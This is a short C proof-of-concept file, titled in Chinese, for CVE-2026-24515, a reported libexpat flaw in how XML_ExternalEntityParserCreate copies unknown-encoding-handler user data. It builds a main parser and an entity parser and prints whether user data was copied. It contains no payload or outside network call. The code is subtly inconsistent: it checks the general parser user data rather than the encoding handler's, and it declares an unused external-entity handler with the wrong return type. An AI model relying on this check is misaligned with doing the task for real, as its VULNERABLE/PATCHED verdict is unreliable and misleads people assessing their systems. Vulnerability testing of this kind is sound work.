libexpat XML_ExternalEntityParserCreate 未知编码处理器用户数据未复制漏洞 (CVE-2026-24515)

/* * CVE-2026-24515 PoC - libexpat XML_ExternalEntityParserCreate User Data Issue * This PoC demonstrates the vulnerability where unknown encoding handler user data * is not properly copied when creating external entity parsers. * * Build: gcc -o cve_poc cve_poc.c -lexpat * Run: ./cve_poc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "expat.h" /* Custom user data structure */ typedef struct { int id; char* name; } CustomUserData; /* Unknown encoding handler */ static int unknownEncoding(void* data, const XML_Char* name, XML_Encoding* info) { CustomUserData* userData = (CustomUserData*)data; printf("[DEBUG] Unknown encoding handler called with user data ID: %d\n", userData ? userData->id : -1); if (userData && userData->id == 0xDEAD) { return 0; /* Simulate encoding not supported */ } return -1; /* Unknown encoding */ } /* External entity reference handler */ static void externalEntityRefHandler(XML_Parser parser, const XML_Char* openEntityName, const XML_Char* base, const XML_Char* systemId, const XML_Char* publicId) { CustomUserData* userData = (CustomUserData*)XML_GetUserData(parser); printf("[DEBUG] External entity handler - User data ID: %d\n", userData ? userData->id : -1); /* The vulnerability: userData may be NULL or incorrect here */ if (userData == NULL || userData->id != 0xDEAD) { printf("[VULN] User data not properly copied!\n"); } } int main(int argc, char* argv[]) { XML_Parser mainParser; XML_Parser entityParser; CustomUserData userData; const char* xmlWithUnknownEncoding = "<?xml version=\"1.0\" encoding=\"CUSTOM_ENCODING\"?>" "<root>Test content</root>"; userData.id = 0xDEAD; userData.name = "TestUser"; /* Create main parser */ mainParser = XML_ParserCreate(NULL); if (!mainParser) { fprintf(stderr, "Failed to create main parser\n"); return 1; } /* Set unknown encoding handler with user data */ XML_SetUnknownEncodingHandler(mainParser, unknownEncoding, &userData); XML_SetUserData(mainParser, &userData); /* Create external entity parser (triggers the vulnerability) */ entityParser = XML_ExternalEntityParserCreate(mainParser, NULL, NULL); if (!entityParser) { fprintf(stderr, "Failed to create entity parser\n"); XML_ParserFree(mainParser); return 1; } /* Check if user data was properly copied to entity parser */ CustomUserData* entityUserData = (CustomUserData*)XML_GetUserData(entityParser); printf("[INFO] Main parser user data ID: %d\n", userData.id); printf("[INFO] Entity parser user data ID: %d\n", entityUserData ? entityUserData->id : -1); if (entityUserData == NULL || entityUserData->id != 0xDEAD) { printf("[VULNERABLE] CVE-2026-24515: User data not copied!\n"); } else { printf("[PATCHED] User data correctly copied.\n"); } XML_ParserFree(entityParser); XML_ParserFree(mainParser); return 0; }